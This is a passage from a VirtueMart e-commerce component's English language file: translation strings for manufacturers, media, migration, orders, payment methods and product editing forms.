VirtueMart component" ; JAVASCRIPT Declaration, respect the Json format use this format "key: 'value',..." DO NOT EDIT /change KEY COM_VIRTUEMART_JS_STRINGS=" editImage: 'edit image',select_all_text: 'select all options',select_some_options_text :'Select some Options', select_an_option_text:'Select an Option'" COM_VIRTUEMART_LANG_IS_EMPTY="No (%1$s) translation in %2$s, please fill the fields with Flags" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED="Last modified products first" COM_VIRTUEMART_LEGALINFO_SHORTTEXT="
        Returns Policy
        You can cancel this order within two weeks after we have received it. You can return new, unopened items from a cancelled order within 2 weeks after they have been delivered to you. Items should be returned in their original packaging. For more information on cancelling orders and returning items, see the Our Returns Policy page." COM_VIRTUEMART_LIST="List" COM_VIRTUEMART_LISTREVIEWS="List Reviews" COM_VIRTUEMART_LIST_ALL_PRODUCTS="List All Products" COM_VIRTUEMART_LIST_ALL_ROLES="All roles" COM_VIRTUEMART_LIST_ALL_TYPES="All types" COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT="List all %s children" COM_VIRTUEMART_LIST_EMPTY_OPTION="Please Select" COM_VIRTUEMART_LIST_ORDER="List Order" COM_VIRTUEMART_LOST_PASSWORD="Lost Password?" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Low Stock Notification" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_MESSAGE="There are only {product_in_stock} stock remaining for the product {product_name} (SKU {product_sku})." COM_VIRTUEMART_LOW_STOCK_NOTIFICATION_EMAIL_SUBJECT="Low Stock reached for %s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], You confirmed an order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MANAGE_USER_FIELDS="Shopper Field List" COM_VIRTUEMART_MANUFACTURER="Manufacturer" COM_VIRTUEMART_MANUFACTURERCATEGORIES="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY="Manufacturer category" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DESCRIPTION="Manufacturer category Description" COM_VIRTUEMART_MANUFACTURER_CATEGORY_DETAILS="Manufacturer category Details" COM_VIRTUEMART_MANUFACTURER_CATEGORY_LIST="List" COM_VIRTUEMART_MANUFACTURER_CATEGORY_NAME="Manufacturer category Name" COM_VIRTUEMART_MANUFACTURER_CATEGORY_S="Manufacturer categories" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_INFO_LBL="Category Information" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_LBL="Manufacturer Category Form" COM_VIRTUEMART_MANUFACTURER_CAT_FORM_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_CAT_LIST_LBL="Manufacturer Category List" COM_VIRTUEMART_MANUFACTURER_CAT_MANUFACTURERS="Manufacturers" COM_VIRTUEMART_MANUFACTURER_CAT_NAME="Category Name" COM_VIRTUEMART_MANUFACTURER_DESCRIPTION="Description" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_EMAIL="Manufacturer Email" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE_DESC="Creates a link to the Manufacturer" COM_VIRTUEMART_MANUFACTURER_FORM_INFO_LBL="Manufacturer Information" COM_VIRTUEMART_MANUFACTURER_IMAGE="Manufacturer image" COM_VIRTUEMART_MANUFACTURER_LIST_ADMIN="Admin" COM_VIRTUEMART_MANUFACTURER_MOD="Manufacturers" COM_VIRTUEMART_MANUFACTURER_NAME="Manufacturer Name" COM_VIRTUEMART_MANUFACTURER_S="Manufacturers" COM_VIRTUEMART_MANUFACTURER_SHOW="Show all manufacturer in this category" COM_VIRTUEMART_MANUFACTURER_URL="Manufacturer URL" COM_VIRTUEMART_MANUFACTURER_URL_TIP="Manufacturer URL must start with http://" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" COM_VIRTUEMART_MEDIA="Media" COM_VIRTUEMART_MEDIA_CHOOSE_TYPE="Choose media type for media with filename %1$s" COM_VIRTUEMART_MEDIA_MANAGER="Media File Manager" COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE="Media files must have a title" COM_VIRTUEMART_MEDIA_MUST_HAVE_URL="Media files must have an url" COM_VIRTUEMART_MEDIA_NO_PATH_TYPE="Media of type %1$s has no relative URL set, Please configure it first and come back here." COM_VIRTUEMART_MEDIA_S="Media Files" COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE="Media file %s should have a mimetype" COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP="Bmp file %s is not good choice for internet" COM_VIRTUEMART_MENU="Menu" COM_VIRTUEMART_MESSAGE_PROMPT="Enter your Message" COM_VIRTUEMART_METAAUTHOR="Author" COM_VIRTUEMART_METADESC="Meta Description" COM_VIRTUEMART_METAINFO="Meta Information" COM_VIRTUEMART_METAKEY="Meta Keywords" COM_VIRTUEMART_METAROBOTS="Meta Robots" COM_VIRTUEMART_MF_CATEGORY_NAME="manufacturer category name" COM_VIRTUEMART_MF_NAME="Manufacturer Name" COM_VIRTUEMART_MIGRATE="Start migration" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE="Default category layout (browse page) without .php" COM_VIRTUEMART_MIGRATION_DCAT_BROWSE_TIP="Enter here your default browse, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category" COM_VIRTUEMART_MIGRATION_DCAT_FLY="Default category product layout (flypage) without .php" COM_VIRTUEMART_MIGRATION_DCAT_FLY_TIP="Enter here your default flypage, to prevent that VM2 is handling it as override. You can set your default in the common vm config and per category and additionally per product" COM_VIRTUEMART_MIGRATION_REWRITE_ORDER_NUMBER="Rewrite order numbers" COM_VIRTUEMART_MIGRATION_STOREOWNERID="Write here the new store owner id" COM_VIRTUEMART_MIGRATION_TAB="Migration" COM_VIRTUEMART_MIGRATION_UPDATE="Tools & Migration" COM_VIRTUEMART_MIGRATION_USER_ORDER_ID ="Use the vm1 order id as vm2 order number" COM_VIRTUEMART_MIGRA_PORTFLY="Port Fly pages" COM_VIRTUEMART_MIGRA_PORTFLY_TIP="In case you used different flypages in VM1 and you want to keep this system. Be aware it is NOT necessary anylonger to use different flypage for different number of products per row." COM_VIRTUEMART_MIGRA_SGRP_PRICES="Port shoppergroups assigned to prices" COM_VIRTUEMART_MIGRA_SGRP_PRICES_TIP="We suggest not to use this feature, except you are using multiple prices per product and shoppergroup." COM_VIRTUEMART_MISSING_FLAG="Missing Flag %1$s for language %2$s.
        Go to Extensions > Language Manager > Content, and check the parameter Image Prefix for this language." COM_VIRTUEMART_MODIFIED_ON="Product Modified Date" COM_VIRTUEMART_MODULES_FORCE_HTTPS="Shop areas which must use https" COM_VIRTUEMART_MODULES_FORCE_HTTPS_TIP="Here you can use a comma-separated list of shop core modules (See 'Admin' ='> 'List Modules'), which will be using https connections." COM_VIRTUEMART_MONTH="Month" COM_VIRTUEMART_MONTH_S="Months" COM_VIRTUEMART_MORE="More..." COM_VIRTUEMART_MORE_CATEGORIES="more categories" COM_VIRTUEMART_MORE_IMAGES="View More Images" COM_VIRTUEMART_MORE_LANGUAGES="More languages here %1$s" COM_VIRTUEMART_MOVE="Delete/Move" COM_VIRTUEMART_MOVE_DOWN="Move Down" COM_VIRTUEMART_MOVE_UP="Move Up" COM_VIRTUEMART_MULTIPLE_PRICES="Multiple Prices" COM_VIRTUEMART_MULTISELECT="Multiselect" COM_VIRTUEMART_NAME="Name" COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS="The name of the userfield contains invalid characters" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ITEM="New item" COM_VIRTUEMART_NEW_ITEMS_PLACE="New items default to the last place. Ordering can be changed after this item is saved." COM_VIRTUEMART_NEW_ORDERING_SAVED="New ordering saved" COM_VIRTUEMART_NEW_USER_MESSAGE="Hello %s, a new user have registered at %s." COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT="New User Details" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NEW_VENDOR="New Vendor" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NON_UNIQUE="Error cant save %s without a non unique %s" COM_VIRTUEMART_NON_UNIQUE_WARN="%s was not unique in table %s, added random number: %s" COM_VIRTUEMART_NOODP_NOYDIR="noodp, noydir" COM_VIRTUEMART_NOODP_NOYDIR_NOFOLLOW="noodp, noydir, no follow" COM_VIRTUEMART_NOTIFIED="Notified" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USERINFO_DATA="Was not able to save the VirtueMart userinfo address data" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NOT_AUTH="You are not authorized to view this resource." COM_VIRTUEMART_NO_ACCOUNT="No Account yet?" COM_VIRTUEMART_NO_CUSTOMER="You are not a Registered Shopper yet. Please provide your Billing Information." COM_VIRTUEMART_NO_DESCRIPTION_FOUND="No description found" COM_VIRTUEMART_NO_FILES_FOUND="No files found" COM_VIRTUEMART_NO_IMAGE_FOUND="no image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_ITEMS_SELECTED="No Items Selected" COM_VIRTUEMART_NO_MEDIA="Sorry,It's not a valid media file" COM_VIRTUEMART_NO_MEDIA_FILES="No Images Found" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED="There are no payment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_PRICE_SET="No price set" COM_VIRTUEMART_NO_RESTRICTION="No Restriction" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SEARCH_RESULT="Your search returned 0 results.
        " COM_VIRTUEMART_NO_SHIPMENT_PLUGINS_INSTALLED="There are no shipment plugins installed, please go to http://dev.VirtueMart.net/projects/VirtueMart/files and download/install the latest com_virtuemart_aio" COM_VIRTUEMART_NO_VALID_DOWNLOADROOT_SET="Download directory not set" COM_VIRTUEMART_OFFLINE_MODE="OFFLINE MODE" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use register to get the advantages of a registered user, else use save for anonymous checkout" COM_VIRTUEMART_ONLY_JUSER="only joomla" COM_VIRTUEMART_OPERATION_CANCELED="Operation Canceled!!" COM_VIRTUEMART_ORDER="Order" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS="Orders" COM_VIRTUEMART_ORDERSTATUS="Order Status" COM_VIRTUEMART_ORDERSTATUS_DETAILS="Order Status Details" COM_VIRTUEMART_ORDERSTATUS_S="Order Statuses" COM_VIRTUEMART_ORDERS_LIST="Order list" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart List Orders" COM_VIRTUEMART_ORDER_CHANGE_UPD_BILL="Change Bill to Address" COM_VIRTUEMART_ORDER_CHANGE_UPD_SHIP="Change Ship to Address" COM_VIRTUEMART_ORDER_CREATE="Create order head" COM_VIRTUEMART_ORDER_DELETE_ERR_ID="Unable to delete without the order ID." COM_VIRTUEMART_ORDER_DELETE_ITEM_JS="Are you sure you want to delete this Item?" COM_VIRTUEMART_ORDER_EDIT="Change Order Details" COM_VIRTUEMART_ORDER_EDIT_ACTIONS="Actions" COM_VIRTUEMART_ORDER_EDIT_CALCULATE="calculate" COM_VIRTUEMART_ORDER_EDIT_CALCULATE_DESC="Calculate the value automatically, uncheck to use the input value." COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT="Select a Product" COM_VIRTUEMART_ORDER_EDIT_CHOOSE_PRODUCT_BY_SKU="Select SKU" COM_VIRTUEMART_ORDER_EDIT_EDIT_ORDER="Change Order" COM_VIRTUEMART_ORDER_EDIT_ERROR_QUANTITY_MUST_BE_HIGHER_THAN_0="Quantity must be greater than 0." COM_VIRTUEMART_ORDER_EDIT_ORDER_ID="Edit Order ID" COM_VIRTUEMART_ORDER_EDIT_ORDER_NUMBER="Edit Order Number" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_ADDED="The Product was added to the Order" COM_VIRTUEMART_ORDER_EDIT_PRODUCT_DELETED="The Product was removed from this Order" COM_VIRTUEMART_ORDER_EDIT_QUANTITY_UPDATED="Quantity has been updated" COM_VIRTUEMART_ORDER_EDIT_USER="Edit user" COM_VIRTUEMART_ORDER_LABEL_NEVERGENERATED="Label has not been generated yet" COM_VIRTUEMART_ORDER_LABEL_NOTFOUND="Order record not found in shipment label database." COM_VIRTUEMART_ORDER_LABEL_ORDERID_NOTVALID="Please provide a valid, numeric, Order ID, not '{order_id}'" COM_VIRTUEMART_ORDER_LABEL_SHIPPINGLABEL_LBL="Shipment Label" COM_VIRTUEMART_ORDER_LABEL_SIGNATURENEVER="Signature was never retrieved" COM_VIRTUEMART_ORDER_LINK="Follow this link to view the Order Details." COM_VIRTUEMART_ORDER_LIST_ID="Order ID" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_NOTIFY="Notify Shopper?" COM_VIRTUEMART_ORDER_LIST_NOTIFY_ERR="Please change the Order Status first!" COM_VIRTUEMART_ORDER_LIST_NUMBER="Order number" COM_VIRTUEMART_ORDER_LIST_PRINT_LABEL="Print Label" COM_VIRTUEMART_ORDER_LIST_SEARCH_BY_DATE="Search by date" COM_VIRTUEMART_ORDER_LIST_STATUS="Status" COM_VIRTUEMART_ORDER_LIST_TRACK="Track" COM_VIRTUEMART_ORDER_LIST_VOID_LABEL="Void Label" COM_VIRTUEMART_ORDER_MOD="Orders & Shoppers" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_NOT_UPDATED="No change, please change the status in the orders to update it !" COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY="%1$s orders of %2$s have reported errors" COM_VIRTUEMART_ORDER_RESET="Reset order head" COM_VIRTUEMART_ORDER_S="Orders" COM_VIRTUEMART_ORDER_SAVE_USER_INFO="Save order head" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_1="The Status of your Order No. %s has been changed." COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_2="New Status is : " COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_MSG_3="To view the Order Details, please follow this link (or copy it into your browser)" COM_VIRTUEMART_ORDER_STATUS_CHANGE_SEND_SUBJ="Order Status Change" COM_VIRTUEMART_ORDER_STATUS_CODE="Order Status Code" COM_VIRTUEMART_ORDER_STATUS_CODE_CORE="Order Status Code used by VirtueMart. Cannot be deleted." COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS="This Order Status Code already exists. Please choose another one." COM_VIRTUEMART_ORDER_STATUS_CODE_TIP="Order Status Code is only one character" COM_VIRTUEMART_ORDER_VIEW_LIST_DESC="VirtueMart List Orders" COM_VIRTUEMART_ORDER_VIEW_LIST_TITLE="VirtueMart List Orders" COM_VIRTUEMART_OVERWRITE_FINAL="Overwrite final" COM_VIRTUEMART_OVERWRITE_OFF="Disabled" COM_VIRTUEMART_OVERWRITE_PRICE_TAX="Overwrite price to be taxed" COM_VIRTUEMART_PAYMENT="Payment" COM_VIRTUEMART_PAYMENTMETHOD="Payment Method" COM_VIRTUEMART_PAYMENTMETHOD_CLASS_NOT_EXIST="The selected Payment Method can't be instantiated because it doesn't exist." COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT="Code" COM_VIRTUEMART_PAYMENTMETHOD_ELEMENT_TIP="A unique code for the payment method (p.e PP)" COM_VIRTUEMART_PAYMENTMETHOD_ERR_CODE="Please enter a payment method code." COM_VIRTUEMART_PAYMENTMETHOD_ERR_NAME="Please enter a payment method name." COM_VIRTUEMART_PAYMENTMETHOD_FORM_CREDITCARD_LIST="Credit Card Types" COM_VIRTUEMART_PAYMENTMETHOD_FORM_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_FORM_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_FORM_NAME="Payment Name" COM_VIRTUEMART_PAYMENTMETHOD_FORM_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_ID_NOT_PROVIDED="Error" COM_VIRTUEMART_PAYMENTMETHOD_LIST_CODE="Code" COM_VIRTUEMART_PAYMENTMETHOD_LIST_DISCOUNT="Discount" COM_VIRTUEMART_PAYMENTMETHOD_LIST_ENABLE_PROCESSOR="Payment Method Type" COM_VIRTUEMART_PAYMENTMETHOD_LIST_NAME="Name" COM_VIRTUEMART_PAYMENTMETHOD_LIST_SHOPPER_GROUP="Shopper Group" COM_VIRTUEMART_PAYMENTMETHOD_NAME_ALREADY_EXISTS="Payment Methods name already exist. Please select another name " COM_VIRTUEMART_PAYMENTMETHOD_S="Payment Methods" COM_VIRTUEMART_PAYMENTMETHOD_UPDATE_SELECT="Please select a payment method to update." COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_CLASS_NAME="Payment Method" COM_VIRTUEMART_PAYMENT_CLASS_NAME_TIP="Select the payment method and click »Apply« button in Joomla 1.5.x or »Save« button in Joomla 2.5.x to display the appropriate parameters in the configuration tab" COM_VIRTUEMART_PAYMENT_ELEMENT="Payment Method" COM_VIRTUEMART_PAYMENT_FORM_DESCRIPTION="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_DESCRIPTION_LBL="Payment Description" COM_VIRTUEMART_PAYMENT_LIST_LBL="Payment Method List" COM_VIRTUEMART_PAYMENT_LIST_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_NAME="Payment Name" COM_VIRTUEMART_PAYMENT_SHOPPERGROUPS="Shopper Group" COM_VIRTUEMART_PAYMENT_TRANSACTION_SUCCESS="Payment successfully processed" COM_VIRTUEMART_PAYMENT_TYPE="Method Type" COM_VIRTUEMART_PERMISSION_GROUP_MUST_HAVE_NAME="The permission group must have a name." COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS="The permission group name contains invalid characters" COM_VIRTUEMART_PLEASE_SEL_ITEM="Please select an item" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee " COM_VIRTUEMART_PLUGIN_WARNING="Please configure VirtueMart Shipment or Payment Plugins inside VirtueMart component
        Parameters set here will not be used at all." COM_VIRTUEMART_PN_DISPLAY_NR="Display #" COM_VIRTUEMART_PREVIEW="Preview" COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRINT_VIEW="Print View" COM_VIRTUEMART_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" COM_VIRTUEMART_PRODUCTS_MOVE_TOOLBAR="Move Products" COM_VIRTUEMART_PRODUCT_ADDING_FAILED="Something went wrong when trying to add the product!" COM_VIRTUEMART_PRODUCT_ADD_CHILD="Add a Child Product" COM_VIRTUEMART_PRODUCT_ADD_CHILD_TIP="a Child Product can be added once this product is saved" COM_VIRTUEMART_PRODUCT_ADD_PRICE="Add new price" COM_VIRTUEMART_PRODUCT_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_AGAIN="It will be available again on:" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax " COM_VIRTUEMART_PRODUCT_BOX="Units in Box" COM_VIRTUEMART_PRODUCT_BOX_DESCRIPTION="NO DESCRIPTION" COM_VIRTUEMART_PRODUCT_CALL="Call for Pricing" COM_VIRTUEMART_PRODUCT_CANT_DELETE_CHILD="Attention product is parent, please delete the children first" COM_VIRTUEMART_PRODUCT_CATEGORY="Product Category" COM_VIRTUEMART_PRODUCT_CATEGORY_NAME="Product Category name" COM_VIRTUEMART_PRODUCT_CHILD="Child Product" COM_VIRTUEMART_PRODUCT_CHILDREN_LIST="Product Children" COM_VIRTUEMART_PRODUCT_CHILDREN_OF="Product is Children of" COM_VIRTUEMART_PRODUCT_CHILD_CREATED_SUCCESSFULLY="Child product created successfully" COM_VIRTUEMART_PRODUCT_CHILD_LIST="Child Products" COM_VIRTUEMART_PRODUCT_CHILD_NAME="Product Child Name" COM_VIRTUEMART_PRODUCT_CLONE="Clone Product" COM_VIRTUEMART_PRODUCT_CLONED_SUCCESSFULLY="The product was successfully cloned" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_LBL="Also clone these Child Items" COM_VIRTUEMART_PRODUCT_CLONE_OPTIONS_TAB="Clone Product Options" COM_VIRTUEMART_PRODUCT_CREATE_CHILD="Create Child Product" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD="Custom Field" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_N="Custom
        %s" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S="Custom Fields" COM_VIRTUEMART_PRODUCT_DEFAULT_SHOPPER_GROUPS="All Shoppers" COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer" COM_VIRTUEMART_PRODUCT_DETAILS_PAGE="Product Details Page" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="From" COM_VIRTUEMART_PRODUCT_DIMENSION_UOM="Dimension Unit" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDDISCOUNT_TIP="You can use the Product Discount Form to add discounts!" COM_VIRTUEMART_PRODUCT_DISCOUNT_ADDED="The product discount has been added." COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNTTYPE="Discount Type" COM_VIRTUEMART_PRODUCT_DISCOUNT_ISPERCENT_TIP="Shall the amount be a percentage or a total?" COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE="Apply no rule" COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL="Apply generic rules" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE="Override" COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE_TIP="You can use this to temporarly discount a product" COM_VIRTUEMART_PRODUCT_EDIT_CHILD="Edit Product Child" COM_VIRTUEMART_PRODUCT_EMAILTOSHOPPERS="Send Email to shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_CONTENT="Content" COM_VIRTUEMART_PRODUCT_EMAIL_DATE="Date sent" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_BODY="Please enter a message" COM_VIRTUEMART_PRODUCT_EMAIL_ENTER_SUBJECT="Please enter a subject for the email" COM_VIRTUEMART_PRODUCT_EMAIL_NO_SHOPPER="No shopper bougth this product" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS="Select the 'Status of ordered products'" COM_VIRTUEMART_PRODUCT_EMAIL_ORDER_ITEM_STATUS_TIP="Select the 'Status of ordered products' of orders received to display the list of the shoppers who will receive the email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND="Send Email" COM_VIRTUEMART_PRODUCT_EMAIL_SEND_TIP="Send the email to the shoppers" COM_VIRTUEMART_PRODUCT_EMAIL_SENT_TO_SHOPPER="Send an email to shoppers who bought this product (%d shopper(s))" COM_VIRTUEMART_PRODUCT_EMAIL_SHOPPERS_SUBJECT="Message about the product %1s" COM_VIRTUEMART_PRODUCT_EMAIL_SUBJECT="Subject" COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FILES_LIST_RETURN="Return to product file list" COM_VIRTUEMART_PRODUCT_FILES_LIST_SEARCH_BY_NAME="Search Product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP1="Fill in any text here that will be displayed to the shopper on the product details.
        e.g.: 24h, 48 hours, 3 - 5 days, On Order....." COM_VIRTUEMART_PRODUCT_FORM_AVAILABILITY_TOOLTIP2="OR select an Image to be displayed on the Details Page.
        The images reside in the directory %s
        " COM_VIRTUEMART_PRODUCT_FORM_AVAILABLE_DATE="Availability Date" COM_VIRTUEMART_PRODUCT_FORM_BOX_DESCRIPTION="Here you can fill in the number of units in a box. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL="Calculate the Cost price" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the Cost price with the desired Final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_DADISCOUNT_TYPE="After tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DBDISCOUNT_TYPE="Before tax price modifier" COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG="Are you sure you want to delete this Item?" COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG="Are you sure you want to delete this Product and the Items related to it?" COM_VIRTUEMART_PRODUCT_FORM_DESCRIPTION="Product Description" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE="Discounted Price" COM_VIRTUEMART_PRODUCT_FORM_DISCOUNTED_PRICE_TIP="Here you can override the discount setting. Fill in a special discount price for this product.
        The Shop will create a new discount record from the discounted price." COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING="Discount " COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_TYPE="Discount Type" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_EMAILS_TAB="Emails" COM_VIRTUEMART_PRODUCT_FORM_HEIGHT="Height" COM_VIRTUEMART_PRODUCT_FORM_IN_STOCK="In Stock" COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL="Item Dimensions and Weight" COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL="Images label" COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL="Product item Information" COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL="Item status" COM_VIRTUEMART_PRODUCT_FORM_LENGTH="Length" COM_VIRTUEMART_PRODUCT_FORM_MAX_ORDER="Maximum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_MIN_ORDER="Minimum Purchase Quantity" COM_VIRTUEMART_PRODUCT_FORM_NAME="Product Name" COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL="New Product" COM_VIRTUEMART_PRODUCT_FORM_ORDERED_STOCK="Booked, ordered products" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING="Units in a Package" COM_VIRTUEMART_PRODUCT_FORM_PACKAGING_DESCRIPTION="Here you can fill in the number of units in a package. (max. 65535)" COM_VIRTUEMART_PRODUCT_FORM_PARENT="Parent" COM_VIRTUEMART_PRODUCT_FORM_PARENT_INFO_LBL="Edit Parent" COM_VIRTUEMART_PRODUCT_FORM_PRICES="Product pricing" 